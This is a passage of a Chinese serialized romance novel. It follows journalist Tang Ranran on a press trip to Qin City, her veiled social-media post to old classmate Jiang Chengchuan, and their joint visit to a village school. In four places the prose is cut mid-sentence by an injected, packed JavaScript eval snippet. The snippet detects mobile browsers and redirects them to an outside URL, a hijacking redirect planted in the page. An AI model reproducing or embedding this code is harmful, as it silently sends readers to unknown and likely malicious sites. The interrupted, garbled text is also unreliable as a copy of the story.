虽然已经过了暑期旅游旺季,但前台办理入住的客人仍是排起长队。 汤冉冉从一下车就感受到风里的凉爽惬意,酒店大堂流动着海盐混合着海藻的淡淡香气,前台左右两侧摆放了精美的贝雕工艺品,甚至拿到手的浅蓝色房卡上还有可爱的浪花图案。 琴市当地负责接待的工作人员提前询问了饮食忌口和偏好,准备了有地方特色的工作午餐,记者们办理入住后可以随时用餐,一切都十分有序。 汤冉冉吃过饭后回了房间,给宋舒发了个酒店定位报平安,没等放下手机就收到媒体群的新消息。 “欢迎各位媒体老师来琴市采访,请大家两点半在酒店大堂集合,下午安排了两个点位,捷率机器人项目和琴港自动化项目。” 第一站,捷率机器人公司,离酒店十来公里并不算远。 顾名思义,这家公司专注于智能机器人的生产研发,已有多款产品推向市场,也服务于大型会议和商务活动。 “我们这款机器人实现了咖啡制作的无人化,机械臂能完成简单拉花操作,接入的3D打印功能也可以自定义咖啡图案。”企业的工作人员边介绍着边按下“开始”按钮,机器人立刻启动咖啡制作环节。 取杯,萃取,咖啡液倒入杯中,打发奶泡…… “哇,这也太神奇了!”一连串操作行云流水,一分钟左右的时候一杯白天鹅拉花卡布奇诺呈现在记者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925363|160471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们面前,引来连连称赞。 “记者朋友们,我们也为大家准备了机器人制作的咖啡,可以移步这边品尝。”工作人员示意了一下旁边的展台。 “走啊,汤老师,咱去尝尝?”南城周刊的崔心怡拉着汤冉冉要往展台走。 “不了不了,我咖啡因过敏,你快去吧。”汤冉冉轻声婉拒,然后自己溜达着去看别的展台。 其实咖啡因过敏这个事,汤冉冉早前并不知道,直到有一回她和同事凑单点咖啡外卖,一大杯下肚后心脏狂飙到每分钟120下,同事见状立马开车送她去了急诊,医生结合她的症状又询问了几句就给出了判断。 自从有了那次惨痛的教训,汤冉冉对咖啡敬而远之,一滴不沾。 顺着参观导引走,汤冉冉除了看企业的高科技产品,也在打量着捷率的展厅设计。 布局、光线、温度……眼前的一切让她不自觉地想起了智达科技的展厅。 准确的说,是两个礼拜前采访时偶遇了高中同学江成川,他带着自己参观了智达科技的展厅。 “怎么又想起这茬?”汤冉冉一阵心慌,忙深呼吸了几下,掉头朝大部队聚集的地方走去。 没多停留,记者们集体上了大巴车去往琴港,那里是一处拥有全自动化码头的现代港口。 从琴港的观景平台远眺,天高海阔,岸桥巍然屹立,诺大的港口不见工作人员,只见集装箱从远道而来的货轮上自动提起、卸下。 强风擦过耳廓,项目部的许经理指向港口作业现场,提高了嗓门介绍,“记者朋友们,大家现在看到的就是我们的全自动化码头,做到了无人化、智能化,全天候运营。” “这样有什么好处吗?”崔心怡从记者堆儿里探了下头问。 “这位记者老师问得好,全自动化提高了我们的作业效率,节省了人力,提速提质,我们这有一组对比数据……” 许经理自豪感满满,介绍得绘声绘色,“琴市沿海,要向海洋谋发展,港口的建设是题中之义。我们把琴港建设好,才能更好实现四通八达的贸易物流,才有更长远的发展。” “原来如此……”崔心怡忙在采访本上记下,偏头看旁边的汤冉冉情绪不高,拿胳膊肘碰了她一下,问道,“哎汤老师,你是不是之前来过这里,感觉你一点都不新奇呢?” “啊……对,来之前我搜了几篇相关报道看,反正……琴港算是比较热的一个选题了。”倒也是实话,汤冉冉捋了捋被风吹的凌乱的长发,支支吾吾地回答。 “各位记者老师们,外面风太大,大家可以进屋避避,喝点茶水稍作休息,一会我们项目上的李工过来做更详细的技术汇报。”许经理说着推开会客室的门,招呼大家进屋。 “汤老师,媒体行比我想象的有意思多了!”崔心怡挽着汤冉冉的胳膊进了会客室,一脸兴奋地问,“你晚上有时间吗?要不咱们去酒店后面的海边转转?” 汤冉冉拿起茶杯喝了一口,茶水一下子烫到舌尖,金骏眉的馥郁香气钻到喉咙里。 上次在江成川的办公室,他准备的是茉莉花茶,入口是刚好的温热,就像是掐好了时间沏的,掐好了时间倒入茶杯,连空气里都添了些清爽甘甜。 “汤老师?我说晚上去海边转转?一起吗?”崔心怡以为她没听清,又大声重复了一遍。 “啊?好好好,一起去。”汤冉冉回过神来,仓促答应了。 她原本以为来琴市出差一趟,可以暂时放下剪不断理还乱的心绪。 但天不遂人愿,事常逆己心。 偏偏睹物思人。 8. 两张照片 琴市的黄昏时分,天空泛着绯红,是有点醉人的颜色。 媒体大巴回到酒店已经接近六点,两人约好八点在酒店大堂见,中间的两个小时用来吃饭和休整。 回到房间后,汤冉冉简单补了个妆,又从行李箱里拿出一件米黄色碎花连衣裙,在镜子前试了下,修身的款式恰到好处地勾勒出她纤瘦的腰身。 八点整,两个人都极其守时地出现在大堂。 “汤老师,你这身也太美了吧!像是要去沙滩走秀!”崔心怡毫不吝啬地赞美道,围着汤冉冉转了好几圈上下打量着。 酒店的灯光很柔和,更衬得汤冉冉皮肤白皙,她走过来时身姿袅袅,柔顺的披肩黑色长发如绸缎般拂动,确实有些美得动人。 “哈哈是吗,你夸得我都有点儿不好意思了……”汤冉冉感到害羞,牵着她的胳膊快走。 从酒店到沙滩,需要穿过一条树林里的小路,崔心怡在前面打着手电照明,不时回头提醒道,“小心脚下,汤老师,这路有点儿滑呢。” 大概走了百十来米,石板路变成沙滩,眼前豁然开朗,是一片与天际相融的大海。 “哇——汤老师你看呐!是月亮!”崔心怡声音激动,抬高了手臂指给汤冉冉看。 顺着她手指的方向,没有云层遮蔽,一轮弯月低垂于海上,如此明亮。 大概是视觉上紧挨着月亮的一侧,还点缀着一颗同样耀眼的星星,相伴左右。 天体遥远,又近在眼前,汤冉冉凝望着,突然有很多话想要诉说。 但她还是忍住了,只拿出手机对着月亮和那一点星光拍了一张。 “咔嚓”“咔嚓”声响起,汤冉冉有些疑惑,四下扭头一看,几米之外的崔心怡正拿着手机偷拍自己。 “心怡,被我发现了哦,请速速上交~”汤冉冉佯装生气,一手叉腰,一手伸着朝崔心怡讨要照片。 “错了错了,汤老师,下次还敢。”崔心怡说完吐了下舌头,极其恭敬地双手奉上手机,放在汤冉冉的手心上。 崔心怡拍了两张,一张是她举着手机拍月亮的侧脸,一张是她懵懂地看向镜头的正脸。 汤冉冉来回滑动着看了看,犹豫后没有删除,而是直接隔空投送到自己的手机相册里,然后把手机还给了崔心怡。 “要不要沿着海岸线往远处走走?”崔心怡问她。 “我有点懒得动了,你去吧,我从这等你。” 汤冉冉想坐着看海。 八点半的沙滩上,只有零星的游客了,卖旅游纪念品的摊主也准备收拾下班。 静谧之中,浪花翻涌,大海发出的声音清晰可闻。 汤冉冉随手抓了一把细沙轻轻捻动,细密的触感从手心传来,柔软了她一直紧绷着的神经末梢。 江成川这几天是怎么过的? 她忍不住去想,他也会像自己这样寝食难安吗? 潮湿的海风扑向她,一阵接着一阵,仿佛要吹进皮肤上的每一处毛细血孔,要侵入她的灵魂。 汤冉冉想把这些问题大声喊出来,但眼前的大海却给不了答案。 就这样静坐了不知道多久,远处崔心怡朝她小跑过来,看样子是要回去了。 拍干净手里的沙子,汤冉冉提着裙边站起身来,临走时又抬头看了一眼月亮,皎洁如初地挂在天边。 第二天上午,按照行程,记者们集体去琴市大学参观然后听讲座,中午在学校用餐后返程。 或许是昨天的舟车劳顿,汤冉冉昨晚的睡眠质量还不错,今天一上午也没打瞌睡。 此刻,她正坐在琴大的报告厅里,专心听一场关于技术创新应用于新闻领域的学术讲座。 讲台上发言的是琴大新闻学院的孙教授,他已年过五旬,曾在新闻一线干过,后来到高校任教。 孙教授看着台下年轻的同行们,抛出了一个极其尖锐的问题: “现在大家还自己写新闻吗?” 此话一出,台下就传来窸窸窣窣的交流声,有人说“怎么不写,肯定写啊!”,有人说“写是写,但比以前少了”。 没有人能说或者敢说不写,只是写的程度各有不同。 孙教授点点头,接着抛出第二个问题: “大家觉得这是什么原因造成的?” 台下又响起一片小声讨论,有人说“自己变懒了”,有人说“可以直接发通稿”,也有人说“去年的稿子今年改改还能用”。 孙教授没有点评,直接抛出第三个问题: “如果将来有一天,机器写稿成为常态,记者还有存在的必要吗?” 这次台下沉默了。 “我”还有存在的必要吗? 汤冉冉刚才一直没吭声,在默默回想自己从业的这七年。 新闻业是在变化的,从报刊、广播、电视的大众传播方式,到时下盛行的新媒体传播,新闻信息搭载的介质一直在变,新闻以各种姿态与用户见面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925364|160471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 南城日报作为一家传统的纸媒,在媒体融合的浪潮下奋起直追,上线了看南城新闻客户端,同步打造了汇聚多个社交平台账号的传播矩阵,早已经不是一张报纸那么简单。 但细究一篇稿件如何产生,基本还是依靠记者的采访写作而来。 这让汤冉冉一下子想到了江成川,他向自己介绍过写稿机器人,也是汤冉冉第一次感受到强烈的本领恐慌。 报告厅内持续安静,气氛变得有些紧张,孙教授推了一下眼镜框,淡然开口说: “虽然我今天讲技术应用,但我更肯定人的价值,尤其是记者对新闻报道的作用是无可比拟的。” 听到这句,台下的记者们明显松了口气,调整下坐姿,继续听后面的内容。 “一开始我介绍了几项国内外先进的新闻生产技术,我看大家听得津津有味,说明心里是不排斥的,这样我们的新闻业才能发展。” “但技术并不意味着胜算,新闻要传播给鲜活的人,因此新闻本身也需要有生命力,而这是技术很难赋予的。” “下面这句是我的一家之言,从某种程度上看,技术能让新闻发展,而人能让新闻永存。” 话音落下,台下响起一片掌声,孙教授笑眯了眼。 这场讲座是出乎汤冉冉预料的,她本以为又是传授一些五花八门的技术知识,已经做好了洗耳恭听的准备,结果听到最后却发现这是一场唤起初心的职业教育。 直到讲座散场,要不是崔心怡拽了她袖子一下,她还在琢磨那句“人能让新闻永存”。 午饭后,下午返程又是四个多小时的大巴。 汤冉冉在车上重新理了一遍讲座的笔记,并把那句话写在了采访本的扉页。 然后她开始删除短信消息、清理相册,总要想一些能消磨时间的法子。 当翻到崔心怡偷拍她的那两张照片时,她指尖停住,突然萌生了一个想法: 关于冯璇说的试探。 于是她选中了侧脸的那张照片,又选中了一张她自己拍的月亮。 把两张照片编辑进朋友圈,定位是琴市,仅江成川可见。 又添了一句配文:海上月是天上月。 大巴车平稳地驰行在高速上,琴市的风景飞速后退。 她点了“发布”键,心却狠狠地摇晃了下。 两天的出差结束了。 南城没有海,只有湖,快要搁不下她的心事了。 9. 南崖之约 江成川刷到汤冉冉发的这条朋友圈,已经是第二天了。 周三上午,他刚散了小组会,拿着手机去茶水间冲咖啡,等咖啡萃取的空当翻了下朋友圈。 汤冉冉的微信头像没什么特别,是一张卡通版的证件照,大概从上班之后就没再换过。 而她的朋友圈也只是偶尔转发几条新闻链接,关于个人生活的剖露少之又少。 以至于江成川刷到的时候,还愣了一下,刚拿起的咖啡杯又倏地放下。 “海上月是天上月,”他逐字轻声读了出来,又下意识地自己补全了后半句,“眼前人是心上人。” 江成川不是完全不解诗情画意的理科生,这句话什么意思,或许他比谁都能理解。 手指在屏幕上犹疑了下,他点开了配文的照片。 第一张,很明显是一张他拍。 琴市的夜空深邃幽蓝,照片里的汤冉冉好像也在用手机拍什么,但并没有其他人入镜,只有淡淡的夜光和光影描摹出的她精致的侧脸。 左滑一下。 第二张,是一张纯粹的景物照片。 看起来像是晚上八九点的样子,月亮低低的,堪堪落在远处的海天一线,海面上的波纹披了一层皎洁的月光。 江成川来回滑动着看了好几遍,没看出所以然,又退回去再读那句话。 不知道保持僵直的姿势站了多久,直到有同事三三两两地进来泡茶水、拿小零食…… 他只好再次端着一杯凉透的咖啡,从茶水间仓皇离开。 回到办公室,他开始闷头修改早会商讨的几个技术方案,没再起身。 中午饭点,江成川点了一份智达附近销量靠前的轻食外卖,送来后打开一看,一坨沙拉菜配土豆泥和水煮蛋,不出所料的索然无味。 他简单扒拉了两口,就推到了办公桌的一边。 “咚咚——” 午休时间还没过,周栋敲门,探进半个身子问: “川哥,咱去南崖一小回访的时间定了没?我看这都九月下旬了,怕你一忙起来给忘了……” 江成川欠了欠身,招手示意周栋进来说。 “我不进去了,川哥,这就要下楼去和客户谈方案,路过你办公室问一嘴。”周栋扭头要走。 “有别的事问你,快进。”江成川说得斩钉截铁。 周栋没搞明白状况,只好推门进来,大喇喇地坐到沙发上等他发话。 “《倾城之恋》看过吗?”江成川转了下办公椅朝向他,一本正经地问。 “啊?哥,你说啥?” “算了,就是这句,海上月是天上月……” “哦哦——川哥你说这个啊,这我听过,眼前人是心上人嘛~”周栋一拍大腿响亮答道。 “你怎么看?”江成川又问。 “我的哥,你咋啦?转行负责美文赏析了?”周栋一脸懵地反问。 江成川按了下太阳穴,觉得自己简直是病急乱投医,朝他说道,“算了算了,你还是赶紧见客户去吧……” “哎别别别——”周栋反倒赖着不走了,脑筋一转问,“哥,你不会真搞办公室恋情了吧?” “工作时间,禁止八卦。”江成川转过身,搬出上次搪塞他的话。 “不是,哥,你咋还双标啊?要不你刚喊我进来干啥?” “一起美文赏析。”江成川语出惊人。 周栋知道自己说不赢他,起身要走,扔下一句: “哥,你对我怎么样都成,但对人家姑娘可别这么惜字如金,主动点,OK?” 江成川没抬头看他,摆出一副忙工作的样子,冷冷地说了句,“把门带好。” 听见办公室门合上的声音,江成川停下手头的事。他心里明白,周栋虽然嘴上贫了点,但也是真关心自己的终身大事。 距离上次和汤冉冉见面,已经过去了整一周的时间。 这中间他不是没想过问候一句,但又不知道如何开口。 毕竟,他已经不是学生时代的江成川,那时的他认为自己还不够好,不够承担得起说出喜欢之后的所有风险。 在他徒有勇敢的高三,所有人为了高考只争朝夕的高三,把心事烂在肚子里才是对汤冉冉最好的喜欢。 那样的日子一去不复返。 眼下他坐在自己的办公室里,真丝面料的男士领带,清凉触感的宝石珐琅袖扣,裁剪可体的私人订制西装…… 学生时代觉得匮乏的东西,好像现在都渐渐具备了,可曾经拥有的勇敢还剩几分? 江成川松了松领口,完全向后倚在靠背上,卸下全身的重量。 合上眼,他脑子里响起周栋刚刚说过的那句话。 “哥,你对我怎么样都成,但对人家姑娘可别这么惜字如金,主动点,OK?” 他幡然醒悟。 在尘埃落定之前,江成川决定勇敢。 他拿起放在桌边的手机,点开微信,点开汤冉冉的朋友圈,再点开最近更新的那一条。 先郑重地点了一个赞。 然后退出去,点开和汤冉冉的聊天框,打打又删删,最后只剩几个字: “你去琴市旅游了?” 完成这两个操作后,他把手机切换到铃声模式并反扣在桌面上,两只手因为紧张而不停反复揉搓。 如果让同事看到他这副模样,一定会哭笑不得,毕竟对付难缠客户的千钧一发,汤组长都能讲个冷笑话缓和气氛。 他在心里大约数着过去了30秒,手机没有声响。 又拿过手机,把铃声音量调到最大,再次反扣回桌面。 继续默数了30秒,手机依然很安静。 理智告诉他,工作日的汤记者几乎不可能做到秒回,更遑论他这一句不痛不痒的明知故问。 江成川决定先看会文件转移一下注意力,这时“叮”的一声,手机响了。 几乎是超越本能地抓过手机,屏住呼吸,按亮屏幕。 然而,发来消息的人是周栋。 他和江成川抱怨说,今天来见的这个客户极其不讲理,不懂装懂还嫌他态度有问题,周栋哀嚎快聊不下去了,这一单估计没戏。 “不用实时汇报,注意工作方法。”江成川没心情安抚他,并表示等回来再统一汇报。 因为不想再白激动一回,江成川把手机调回静音模式,重新拿起一份文件,强迫自己看进去,这份不行就再换一份,总之看进去。 他又想起来周栋说的回访,于是找出来今年初去南崖一小的情况记录,快速翻了翻,是该去一趟了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925365|160471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么想着,江成川拿起手机打算先和学校沟通一下合适的时间,就在几乎要按下拨号键时,通知栏连续弹出两条微信未读消息。 他心漏跳了一拍,消息来自汤冉冉。 她回复,“沾工作的光,一个媒体行活动,昨天下午就回来了。” 哦,是工作,不是旅游。 江成川心里莫名舒坦了些,心里萌生了一个想法,接着问,“那……你之前来智达采访的稿子怎么样了?” “也在写着呢,感觉还缺点生动的例子。” 正中下怀。 于是,江成川自作主张定了个时间,一本正经地回,“这周末我们组要去南崖一小回访,了解一下智能教学工具的使用情况,也为下一步的捐赠做个初步调研。” 然后顺势发出邀请,“不知道你时间方便吗,欢迎和我们一起,说不定可以丰富一些写作素材。” 汤冉冉始料未及,只好公事公办地回答,“那个……我得和我们秦主任汇报一下,正好我明天去单位当面问一下,行吗?” 虽然这只是个工作邀请,但没有人会愿意被拒绝两次,甚至都不会给对方第二次拒绝自己的机会,她尽可能把话说得留有余地。 “好,等你消息。” 聊天结束,江成川抓紧给南崖一小教务处的老师打了个电话,询问周末是否有空,并表示希望能尽早回访。 电话那头,教务处的老师一听他们要过来,连说热烈欢迎,随时来都可以,还说学生们也很想他们,就是学校周末不上课,不过倒是可以去孩子家里坐坐。 很顺利,回访时间暂定在这周六,江成川大致列了个回访事项转发给参与公益捐赠的同事,南崖一小也会安排人到时做好接应。 剩下的,就是等待汤冉冉的答复了。 一桩心事即将了却,他又点开下午自己点赞的那条朋友圈,若有所思地保存了那张月亮的照片。 与此同时,汤冉冉也在盯着她昨天发出的朋友圈,她看的不是配文,也不是照片。 而是那个紫藤萝头像的人留下的小红心。 一条仅他可见的朋友圈。 一颗仅她可见的小红心。 点赞时间大概在两个人聊天之前。 “你就在朋友圈发个暗戳戳的深情文案,他要是有意思准来找你。”上周末在咖啡厅,冯璇的谆谆教诲,言犹在耳。 一股电流从汤冉冉触及手机屏幕的指尖迅速传导到手掌,再到手臂脖颈,直达大脑神经,她的cpu要烧干了。 江成川是什么意思?是我想的那个意思吗? 她来不多及想,立马截了个屏,接着把这张图片发给了冯璇,十分虔诚地打字问,“璇璇璇!SOS!冯大师,求指点,求下一步的攻略!” 冯璇回得很快,话里话外透着得意,“你看你看~我说怎么着,汤冉冉你的桃花终于要开了!你们结婚我得坐主桌!” 比起冯璇的兴奋,汤冉冉更多的是不知所措的平静,她语无伦次地向冯璇报告了关于江成川的采访邀请。 冯璇听后,铿锵有力地发过来一句: “去啊!你就去!汤冉冉,甭管是南崖,还是北崖,就是悬崖——你也得看看它有多深!” “好好好,我明天和主任说一声儿……” 10. 橡木苔香 秦青办公室内,汤冉冉先汇报了在琴市采访的情况,然后又提出周末想去南崖一小补采的事。 “可以,但不要拖到最后交稿,预留好修改时间。” 秦主任没有多问,爽快批准了她提出要第三次采访的请求。 对于完成一篇蹲点报道来说,只要还没定稿,不怕为了追求完美而多跑个一两回,怕的是记者嫌累嫌麻烦只电话采访草草了事。 汤冉冉点头说明白,出了办公室,想起来给江成川发消息说一声。 “汤组长,刚和我们主任请示过了,顺便问一下,咱们周六几点走?” 江成川那边还在开早会,过了二十多分钟后回她,“我开车吧,还有两位同事周栋、玉婷一起。可以把你的定位发我,我看先接谁比较顺。” “好。”汤冉冉把家附近的一条主干道的定位发了过去。 “收到,具体时间一会和你说。”他回。 汤冉冉回到工位坐下,打开电脑,想着先把琴市的稿子赶紧写完,还得重新顺顺智达的采访提纲,补上几个关于南崖一小的问题。 等江成川再次联系她的时候,已经是两个小时后了。 “周六早八点半,可以吗?接上你,咱们正好上高架。” “好的,我可以。” 一想到周六要见面,江成川心底翻涌起难以自抑的开心,打字竟也变得俏皮起来,“欢迎汤记者指导工作。” “还请江组长多多指教。”汤冉冉心情也不错,敲键盘的声音清脆。 汤冉冉不知道的是: 江成川点赞她的朋友圈的时候就决定了,管她有没有心上人,他要光明正大地再争取一回。 毕竟,他已经错失过一次机会了,但好在那不是什么告白失败,只是未能让汤冉冉及时知道自己的心意罢了,这恰恰代表着他还有机会,一切都尚未开始。 而江成川也不知道: 汤冉冉在看到朋友圈的点赞时就决定了,管他现在怎么想的,她想真情实感地再回应一次。 毕竟,她已经弄丢过一次期待了,但好在那不是什么结案陈词,只是未能让江成川早些得到自己的答案罢了,这恰恰代表着她还有时间,一切远没有结束。 各怀心事,假公济私。 两个人都难称光明磊落。 周六早上,离约定的时间还有十分钟,汤冉冉已经在马路边等候。 因为要去学校,汤冉冉打扮得简单大方,像个初出茅庐的大学生,一件短款抹茶绿针织衫搭配一条利落的阔腿牛仔裤,脚上是一双擦得干净的小白鞋。 八点二十七分,一辆黑色长安缓缓停在路边,汤冉冉有印象之前拜托江成川去报社送录音笔的时候,他开的就是这辆。 三步并作两步,汤冉冉快走过去,下意识地要去拉后排车门。 然而看到—— 一身休闲打扮的周栋从后排的另一侧开门下了车,绕过车屁股小跑到她跟前,热情地说: “嗨!你好你好,汤记者,你坐前面坐前面……” 汤冉冉诧异,用手遮住嘴,小声问他,“啊?我坐副驾?” 周栋脸上一副拜托了的表情,解释说:“抱歉啊,汤记者,川哥让我和同事玉婷把回访的流程再在路上对一遍,我俩坐后面方便说话。” 汤冉冉踟躇之际,江成川摇下车窗看向她,语调温柔地说,“坐前面吧,汤记者,去南崖村的这一路风景都很好,可以好好感受一下。” 无懈可击的完美理由,汤冉冉不好意思再耽误时间,周栋给她拉开车门,她赶紧一弯腰坐了进去。 车子开出百十米后,汤冉冉才有了再次见到江成川的实感,这是他俩这个月的第三次见面。 等红绿灯的间隙,江成川给他们互现介绍认识了下,还特别问她车内温度是否需要调整。 汤冉冉摆摆手,扭头看着他说温度正好,这才注意到江成川今天穿了一件复古水洗的牛仔衬衫,清清爽爽,很有少年气。 大概是觉察到她投来的目光有些灼热,江成川礼貌偏头和她对视,“嗯?”汤冉冉赶忙扭头错开了视线,托着下巴看窗外。 沿路的风景确实赏心悦目,一排排青绿的树木在疾驰之下呈现出油画涂抹的质感,远处的几个水库波光闪烁,水色如玉。 汤冉冉偷偷向后座瞄了一眼,发现周栋已经仰头睡着了,不是刚才还说要核对流程吗?她觉得自己受到了欺骗。 然后她又装作不经意地观察起江成川的车内陈设,称得上极其之简约,后视镜的下方挂了一个平安结,前挡风玻璃上留了个挪车手机号,再无其他。 “大约还有一个小时到南崖村,无聊的话,可以闭眼休息会。”江成川向她建议,然后调低了导航的音量。 “嗯,谢谢。”汤冉冉将自己完全陷进副驾驶的座位里,闭目养神。 平稳的呼吸间,她闻到一种不算浓郁的橡木苔味,或许是江成川喷的男士香水,或许是车载香薰,总之这种令人安心的木质香一直萦绕在鼻息。 车子行驶过减速带的时候,汤冉冉感觉到一阵颠簸然后睁开眼睛,迷糊中拿起手机一看时间,自己竟然睡着了? 她调整了下坐姿,用余光感受江成川的状态,他脸上似乎没什么倦意,神态自若地目视前方,一双骨节分明的手有力地控制着方向盘。 “要去服务区活动一下吗?”江成川见她醒了,轻声问。 “咱们还有多久到?” “不到半小时。” “那算了吧,别耽误路上的时间。” “好。”他答。 汤冉冉把座椅调高了些,从包里掏出口红和气垫想要简单补个妆,散粉漂浮在空气中,扩散开若有若无的香甜味,又渐渐融合进车里原本的橡木苔的清新气味里。 江成川自然也闻到了,他向前探身放松了下肩膀,嘴角微微抿了一下。 “周栋、玉婷,你们谁和南崖一小联系一下,快到了。” “好的,川哥。” 十点过五分,他们一行人停好车,步行来到南崖一小的校门前。 汤冉冉打量着眼前,一栋重新加固粉刷的教学楼,楼前是还算开阔的操场和翻新的演讲台,整体上干净敞亮,比她印象中的乡村小学要好很多。 “吱呦”一声,铁栅栏门缓缓拉开,走出来两个人,南小的李校长和教务处赵老师。 “江老师,欢迎你们来啊!路上辛苦辛苦!”李校长外貌敦厚,身材矮胖,看起来四五十岁的样子,说起话来中气十足。 江成川也快步迎上去,和他们二人分别握了手,又互相介绍了一下。 “走吧,江老师,汤记者,咱们去屋里坐,慢慢聊。”赵老师热情地在前面带路。 会议室内,江成川他们四个人坐在一边,李校长和赵老师坐在另一边,中间是一条朱红色的长木桌,每个人手边都倒好了一杯热水。 江成川清了清嗓子,先开口,“李校长,这次我们来有两个事儿和您汇报,一是了解年初那批教学产品的使用情况,二是为明年继续捐赠做个初步调研。” “好的好的,江老师,我们收集了老师和学生们的一些意见记在本子上了,请你们看看。”李校长递给他一个牛皮纸封面的本子。 江成川接了过去,递给了周栋和玉婷让他们看看,又继续说道,“李校长,汤记者和我们一起过来,想对捐赠这块做个简单采访,也希望咱们能配合一下。” “没问题啊,汤记者想了解哪方面的?”李校长殷切地看向汤冉冉。 汤冉冉正要开口,江成川插了句话,“要不我带着他们先回避,去教室看看?采访一般都问得详细,单独聊效率也高。” 李校长一听,也觉得有道理,说,“这办法行!那赵老师你带着江老师他们三位去教室,我在这和汤记者聊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“江老师他仗着自己个高腿长,玩游戏就没输过,学生缠着他想知道怎么赢的,他就和学生说只要上课好好听讲,就传授给他们游戏秘籍,你说这……”李校长说完哭笑不得,他怎么都想不明白江成川就这么轻而易举地和学生打成一片了。 “哈哈是吗~” 汤冉冉像在听故事一样,想象着研究生江成川倔强着要留下支教的样子,给学生们上课的样子,在村里生活的样子,她有些感慨,要是早点就和江成川遇见就好了。 聊完江成川支教的话题,汤冉冉又问了几个关于乡村小学建设的问题。 李校长就是南崖村人,以前当老师现在当校长,加起来也有二十多年。 他守着南崖一小,没离开过,心里没想别的,就是希望村里的孩子都能到了年龄有学上,在学校里好好识字念书,以后能奔个好前途。 时间快到中午,汤冉冉采访得差不多了,提议也去教室转转。 李校长和赵老师打了个电话,问江老师他们在哪里,要过去找他们汇合。 教学楼三楼,班牌上写着六年级一班,江成川正在让周栋播放一个演示课件。 “川哥,屏幕左下方触控反应感觉不大灵敏啊?”周栋又连续戳了几下,确认后才和江成川汇报。 “你先调到控制页面检查一下,排除是不是设置问题。” “玉婷,把周栋说的这个记下来。” “赵老师,咱们有老师反映过这个使用问题吗?” 江成川站在一排课桌中间,声音沉着有力,思路清晰地指挥着小团队开展任务。 此时,汤冉冉走到班级后门的位置,静静地看着他的背影。 似乎是有某种心灵感应,江成川回头,一双眼睛看向她的眼睛。 两个人视线相交,江成川注意到汤冉冉好像说了什么。 只有口型,没有声音,好像是三个字。 “江……什么?” 11. 蓝莓山药 上午回访结束时,已接近饭点,李校长执意要请他们到家里吃。 江成川婉言谢绝了,原本周末麻烦李校长和赵老师来学校一趟就很过意不去了,再去人家里折腾一回,他觉得说不过去。 “真不是和您客气,李校长,我们开车去镇上随便吃点,您和赵老师也快回吧!” “好好好,那下午你们直接去小浩天家就行,我和他妈妈说过了。”李校长没再坚持,和他们确定好下午的行程,看着他们开车走后才离开。 南崖村离镇上不远,开车也就二十来分钟。 车上,江成川扭头看向汤冉冉,用只能他们两个听见的音量问: “你刚才……说的什么?在班后门的时候。” 汤冉冉低头笑了下,也转过脸看他,同样压低了音量开口:“我说——” “哎哎哎——你俩说啥悄悄话呢!” 周栋从早上一见到江成川就直觉不对劲,先是自己顺手拉开车门刚要坐进副驾,就被江成川勒令“坐后面去”,再是去接玉婷的路上,江成川和他交代说等会在车上重新核对一遍早就确认好的流程。 这不终于逮准时机,周栋扒住前排的座位,从中间探个头问。 “坐回去。”江成川像是已经习惯了周栋的突然袭击,根本没给他一个眼神,更不打算解释。 汤冉冉有点做贼心虚,没敢出声,企图蒙混过去。 偏偏周栋今天不知道哪来的勇气,越挫越勇地继续问: “对了,川哥,你那办公室恋情怎么样了?” 江成川握着方向盘的手一紧。 “还有你上次问我的那句,海上……哎!疼疼疼——我的下巴!” 路上突然蹿出一只小土狗,江成川一个急刹,差点把周栋甩到前排中控台,其他三个人系着安全带倒还好,只是受了点惊吓。 江成川先问了汤冉冉和玉婷有没有事,然后才向后瞥了一眼周栋,语气里带着警告: “让你坐好的。” 周栋这下老实了,拧着脸窝在车后座和后门的小角落里,咂摸起江成川的意思。 车内恢复安静,大家都默契地不再提刚才的话题。 南崖村所在的章泉镇,麻雀虽小五脏俱全,有几家看起来还不错的土菜馆。 下车后,他们挑了一家,章泉大饭店,门头虽小,但店名阔气,老板热情地招呼他们店里坐。 服务员拿这个本儿,站在一旁等他们点菜,四个人先一人点一道,特色爆炒全鸡、西红柿炒蛋,红烧茄子、干锅菜花。 